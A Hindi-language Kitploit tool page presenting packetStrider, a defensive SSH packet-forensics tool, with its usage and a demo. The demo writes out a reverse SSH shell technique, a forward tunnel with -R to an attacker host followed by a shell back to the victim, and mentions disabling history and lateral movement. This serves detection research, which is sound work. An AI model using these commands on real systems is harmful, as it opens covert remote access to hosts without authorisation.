Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
packetStrider — SSH के लिए एक नेटवर्क पैकेट फोरेंसिक उपकरण | Kitploit
उपकरण/GitHubGitHub/benjeems/packetstrider
पैकेट स्निफिंग और विश्लेषणनेटवर्क फोरेंसिकफोरेंसिकपेनिट्रेशन टेस्टिंगमशीन लर्निंगघुसपैठ का पता लगानारेड टीमिंगविसंगति का पता लगाना
GitHubbenjeems/packetstrider

packetStrider

SSH के लिए एक नेटवर्क पैकेट फोरेंसिक उपकरण

रिपॉजिटरी देखें
254396 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Packet Strider (v0.21)

alt text

सारांश

SSH के लिए packetStrider एक पैकेट फोरेंसिक टूल है जिसका उद्देश्य SSH ट्रैफ़िक की प्रकृति में मूल्यवान अंतर्दृष्टि प्रदान करना है, SSH नेटवर्क ट्रैफ़िक के उन कोनों में रोशनी डालना जहाँ पहले जानकारी के सुनहरे टुकड़े अंधेरे में पड़े थे।

वह समस्या जिसे पैकेट स्ट्राइडर हल करने में मदद करता है (उर्फ क्यों?)

SSH स्पष्ट रूप से एन्क्रिप्टेड है, फिर भी नेटवर्क ट्रैफ़िक में मूल्यवान प्रासंगिक जानकारी मौजूद होती है जो TTP, इरादे, सफलता और उद्देश्यों पर कार्यों के परिमाण की ओर जा सकती है। ऐसी स्थितियाँ भी हो सकती हैं जहाँ मूल्यवान संदर्भ होस्ट पर उपलब्ध नहीं है या हटा दिया गया है, और इसलिए एक अपरिवर्तनीय और अबाध्य निष्क्रिय नेटवर्क कैप्चर होने से अतिरिक्त फोरेंसिक संदर्भ मिलता है। "पैकेट झूठ नहीं बोलते"।

फोरेंसिक संदर्भ के अलावा, पैकेट स्ट्राइडर की भविष्यवाणियों का उपयोग सक्रिय रूप से भी किया जा सकता है, उदाहरण के लिए अगर रिवर्स SSH सत्र आरंभ सुविधा की भविष्यवाणी की जाती है, तो रिवर्स प्रमाणीकरण की पेशकश करने से पहले भी, फॉरवर्ड कनेक्शन को shun/RST करना।

पैकेट स्ट्राइडर की व्यापक तकनीकें (उर्फ कैसे?)

  • पांडास डेटाफ्रेम के रूप में एक समृद्ध फीचर सेट बनाता है। SSH प्रोटोकॉल संदेश सामग्री, सामान्यीकृत आँकड़े, दिशा, आकार, विलंबता और स्लाइडिंग विंडो सुविधाओं जैसे पैकेट मेटाडेटा से 40 से अधिक फीचर इंजीनियर किए गए हैं।
  • स्लाइडिंग विंडो (कन्वोल्यूशनल न्यूरल नेटवर्क से प्रेरित) का उपयोग करके इस फीचर सेट के माध्यम से कई बार स्ट्राइड करता है, भविष्यवाणी करने के लिए:
    • फॉरवर्ड सत्र में -R विकल्प का उपयोग - यही वह चीज़ है जो सत्र में बाद में रिवर्स कनेक्शन को सक्षम करता है। यह कलाकृति सत्र में बहुत जल्दी, फॉरवर्ड सत्र के प्रमाणीकरण के तुरंत बाद खोजी जाती है। यह पहला उपलब्ध चेतावनी संकेत है कि रिवर्स सत्र संभव हैं।
    • रिवर्स SSH सत्र की शुरुआत, यह फॉरवर्ड सत्र में किसी भी बिंदु (जल्दी या देर से) पर हो सकता है। यह रिवर्स सत्र के सफलतापूर्वक प्रमाणित होने से पहले खोजा जाता है। यह दूसरा चेतावनी संकेत है, कि एक रिवर्स सत्र का अभी अनुरोध किया गया है और प्रमाणीकरण के लिए सेटअप किया गया है।
    • रिवर्स सत्र प्रमाणीकरण की सफलता और/या विफलता। यह तीसरा और अंतिम चेतावनी संकेत है, इस बिंदु के बाद आप जानते हैं कि कोई आपके होस्ट पर है, एक रिवर्स सत्र के अंदर।
    • -A विकल्प (SSH एजेंट फ़ॉरवर्डिंग) का उपयोग, जो क्लाइंट को अपनी स्थानीय SSH निजी कुंजियाँ सर्वर के साथ साझा करने में सक्षम बनाता है। इस कार्यक्षमता को आमतौर पर खतरनाक माना जाता है। संदर्भ: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • सभी भविष्यवाणियाँ और मेटाडेटा रिपोर्ट स्ट्रीम दर स्ट्रीम आधार पर।
    • मानव या स्क्रिप्टेड, समय डेल्टा पर आधारित।
    • क्या सर्वर पहले से क्लाइंट को ज्ञात है? या यह दोनों के बीच पहली बार कनेक्शन हुआ है। यह known_hosts से संबंधित पैकेट डेल्टा के माध्यम से किया जाता है।
    • क्या क्लाइंट प्रमाणपत्र या पासवर्ड प्रमाणीकरण का उपयोग किया गया था, और यदि पासवर्ड की लंबाई 8 अक्षर या उससे कम है।
    • कीस्ट्रोक्स, डिलीट की प्रेस, एंटर की प्रेस (कट और पेस्ट और ऊपर/नीचे YMMV/प्रायोगिक है)।
    • फॉरवर्ड और रिवर्स दोनों सत्रों में एक्सफिल/इन्फिल डेटा मूवमेंट भविष्यवाणियाँ।
    • इंटरैक्टिव सत्रों के साथ-साथ फ़ाइल-आधारित ssh फ़ाइल ट्रांसफ़र ऐप्स (जैसे scp, putty, cyberduck आदि) पर काम करता है।

शुरू करना

Python3 का उपयोग किया गया है, और आपको निम्नलिखित मॉड्यूल की आवश्यकता होगी (python2 पर YMMV)

pip3 install pandas matplotlib pyshark

उपयोग:

python3 packetStrider-ssh.py -h

आउटपुट:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  pcap file to analyze
  -n NSTREAM, --nstream NSTREAM
                        Perform analysis only on stream n
  -m, --metaonly        Display stream metadata only
  -k, --keystrokes      Perform keystroke prediction
  -p, --predict_plot    Plot data movement and keystrokes
  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                        packets "x-y"
  -d DIRECTION, --direction DIRECTION
                        Perform analysis on SSH direction : "forward",
                        "reverse" OR "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directory to output plots
  -w WINDOW, --window WINDOW
                        Sliding window size, # of packets to side of window
                        center packet, default is 2
  -s STRIDE, --stride STRIDE
                        Stride between sliding windows, default is 1

उदाहरण

pcap "forward_reverse.pcap" एक सामान्य TTP से है जो रिवर्स SSH शेल का है, जो हर जगह रेड टीमों का पसंदीदा है। विशेष रूप से निम्नलिखित कमांड का उपयोग किया गया था, ताकि पैकेट स्ट्राइडर की क्षमताओं को सरल तरीके से उजागर किया जा सके:

  • पीड़ित से फॉरवर्ड कनेक्शन

    • फॉरवर्ड सत्र का कमांड ssh [email protected] -R 31337:localhost:22 था, जो रिवर्स SSH कनेक्शन के लिए पीड़ित PC पर वापस लोकल पोर्ट 31337 को बाँधता है। यह कनेक्शन कई तरीकों से प्रभावित किया जा सकता है, जिसमें मैन्युअल रूप से, RCE, SSRF, या दृढ़ता के किसी रूप के माध्यम से शामिल है। इस डेमो के उद्देश्य के लिए, यह एक मैन्युअल मानक फॉरवर्ड सत्र है।
    • यह पहली बार नहीं था जब क्लाइंट ने सर्वर को देखा था, हम इसे देखते हैं क्योंकि संबंधित पैकेटों का डेल्टा बहुत छोटा था, सर्वर की कुंजी फिंगरप्रिंट पहले से ही क्लाइंट के known_hosts में थी, इसलिए उपयोगकर्ता को इसे जोड़ने के लिए संकेत नहीं दिया गया - जिससे पैकेटों की विलंबता बढ़ जाती।
    • एक मानव द्वारा लगातार दो असफल पासवर्ड लॉगिन, उसके बाद 8+ वर्ण वाले पासवर्ड के साथ एक सफल लॉगिन।
    • फॉरवर्ड सत्र में ls टाइप किया जाता है, इस क्रम में: 'l' 'w' 'w' 'back-space' 'back-space' 's' और फिर एंटर। वायर पर प्रेषित डेटा का कुल आकार (ls के आउटपुट के रूप में) घुसपैठ के रूप में वर्गीकृत किया जाता है, क्योंकि यह इनबाउंड है।
  • अब हमलावर की मशीन (सर्वर) पर, पीड़ित के पास वापस एक रिवर्स शेल शुरू किया जाता है:

    • ssh victim@localhost -p 31337। इस बिंदु पर, जो प्रमाणीकरण प्रक्रिया शुरू होने से पहले भी है, पैकेट स्ट्राइडर ने रिवर्स सत्र SSH आरंभ की पहचान कर ली है, पैकेट 72 पर।
    • अब हमलावर के पास पीड़ित होस्ट पर एक रिवर्स शेल है। यहाँ से वे इतिहास सेटिंग्स बंद कर सकते हैं, और जो भी पार्श्व आंदोलन या लूटपाट की हरकतें चाहते हैं, चला सकते हैं। इस डेमो में सरल उदाहरण प्रारंभिक उपयोगकर्ता जाँच-पड़ताल हैं।
    • last कीस्ट्रोक्स के रूप में चलाया जाता है 'l' 'a' 's' 'r' 'delete' 't' 'enter'
    • who के रूप में चलाया जाता है 'w' 'h' 'o' 'enter'
    • exit के रूप में चलाया जाता है

इस गतिविधि से नेटवर्क ट्रैफ़िक tcpdump.pcap में सहेजा जाता है और अब Packet Strider चलाने का समय है।

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

alt text

यह प्लॉट प्रमुख भविष्यवाणियों की एक समयरेखा दिखाता है (छवि को यहाँ एनोटेट किया गया है) alt text

यह प्लॉट कुछ विंडो सांख्यिकी दिखाता है, गहराई से जांच और सुविधाओं के साथ प्रयोग के लिए उपयोगी।
alt text

यह प्लॉट एक सरल हिस्टोग्राम दिखाता है alt text

प्रेरणा

यह प्रोजेक्ट एक व्यक्तिगत प्रूफ ऑफ कॉन्सेप्ट के रूप में किया गया था, Python में कुछ डेटा साइंस लाइब्रेरी के साथ अभ्यास करने के एक तरीके के रूप में, यह मशीन लर्निंग और डेटा साइंस में मेरे Coursera अध्ययनों से बहुत प्रेरित था, विशेष रूप से pandas लाइब्रेरी और जिस तरह से कन्वोल्यूशनल न्यूरल नेटवर्क (CNN) स्लाइडिंग विंडो का उपयोग करके छवि पिक्सेल सेट के माध्यम से "स्ट्राइड" करते हैं ताकि कुछ विशेषताओं का पता लगाया जा सके।

सुझाव

पैकेट स्ट्राइडर पूर्ण क्षमता मोड में बड़ी मात्रा में "स्ट्राइडिंग" करता है। इसके परिणामस्वरूप यदि pcap बड़ा है, या अधिक सटीक रूप से यदि pcap में कई पैकेट हैं, तो पर्याप्त संसाधन उपयोग हो सकता है। यहाँ कुछ गति बढ़ाने वाले सुझाव दिए गए हैं, ये विशेष रूप से प्रारंभिक रन के रूप में उपयोगी होते हैं, उदाहरण के लिए यह देखने के लिए कि क्या रिवर्स SSH गतिविधि की भविष्यवाणी की गई थी, और फिर यदि आप चाहें तो कार्यक्षमता जोड़ना।

  • सुनिश्चित करें कि आप उन मॉड्यूल के नवीनतम पैच के साथ चल रहे हैं जो कुछ भारी काम करते हैं, जैसे pyshark/tshark, pandas और matplotlib।
  • -p --predict_plot विकल्प सबसे अधिक गहन ऑपरेशन है। केवल टर्मिनल पर आउटपुट के साथ चलाने के बारे में सोचें, और फिर देखें कि क्या आप इसे प्लॉट करवाना चाहते हैं।
  • -m --metaonly विकल्प का उपयोग करें। यह केवल उच्च-स्तरीय मेटाडेटा जैसे प्रोटोकॉल नाम और HASSH डेटा प्राप्त करता है। यह जल्दी से यह निर्धारित करने के लिए उपयोगी हो सकता है कि आप OpenSSH का उपयोग करके एक इंटरैक्टिव सत्र से निपट रहे हैं, या Cyberduck जैसे फ़ाइल ट्रांसफ़र क्लाइंट से।
  • pcap को ssh ट्रैफ़िक पर पहले से फ़िल्टर करें।
  • pcap को उस स्ट्रीम पर पहले से फ़िल्टर करें जो आप चाहते हैं, जिसे आपने पहले तेज़ -m --metaonly विकल्प के साथ चलाकर सीखा हो सकता है। आप "-n NSTREAM" विकल्प के साथ केवल स्ट्रीम "NSTREAM" की जांच कर सकते हैं, या आप wireshark आदि के साथ पहले से फ़िल्टर कर सकते हैं।
  • कभी-कभी ऐसे समय हो सकते हैं जब आप बहुत बड़े पैकेट सेट के एक उपसमूह में कुछ दिलचस्प पहचानते हैं। यहाँ आप ज़ूम सुविधा का उपयोग कर सकते हैं ताकि केवल उस क्षेत्र के पैकेटों की जांच और प्लॉट कर सकें जिसमें आपकी रुचि है। इसके लिए -z ZOOM, --zoom ZOOM का उपयोग करें। जैसे -z 100-500
  • अधिकांश समय आप कीस्ट्रोक गतिविधि को समझने में रुचि रखेंगे, इसलिए -k विकल्प का उपयोग न करने से प्रसंस्करण गति में बचत होगी, लेकिन इसका मतलब यह भी है कि आपको यह मूल्यवान अंतर्दृष्टि नहीं मिलेगी।

कार्य बाकी

  • अधिक प्रोटोकॉल!
  • मल्टी-थ्रेडिंग देखें और देखें कि यह प्रसंस्करण गति में कहाँ मदद कर सकता है।
  • स्क्रिप्ट की दक्षता में सुधार करें, विशेष रूप से प्लॉटिंग समय में।
  • पेस्टिंग संकेतक में सुधार करें
  • 'ऊपर/नीचे' कुंजी संकेतक में सुधार करें
  • इमेजमैजिक या इसी तरह के साथ प्लॉट को एनोटेट करें
  • रिपोर्टिंग फ़ंक्शन में सुधार करें, डिस्क पर लिखें।
  • रिवर्स की संकेतक रूढ़िवादी है क्योंकि पैकेट एनकैप्सुलेशन के कारण संभावित रूप से दो कीस्ट्रोक्स की रिपोर्ट कर सकता है। यह समस्या फॉरवर्ड कीस्ट्रोक्स के लिए मौजूद नहीं है, क्योंकि पैकेट ऑर्डर को संभाला गया है यदि वे क्रम से बाहर आते हैं। यहाँ विकल्पों की जाँच करें।
  • गति के लिए golang में पोर्ट करें
  • रियल टाइम मोड
  • फॉरवर्ड कनेक्शन पर अतिरिक्त टनलिंग लोकल पोर्ट के प्रभाव की जाँच करें।

अस्वीकरण

अपने जोखिम पर उपयोग करें। लाइसेंस शर्तें देखें।

टूल डाउनलोड करें
'e' 'x' 'i' 't'
  • फिर अंत में फॉरवर्ड सत्र के साथ सत्र बंद कर दिया जाता है, सिर्फ यह प्रदर्शित करने के लिए कि फॉरवर्ड SSH फीचर का पता लगाना अभी भी काम करता है।

    • exit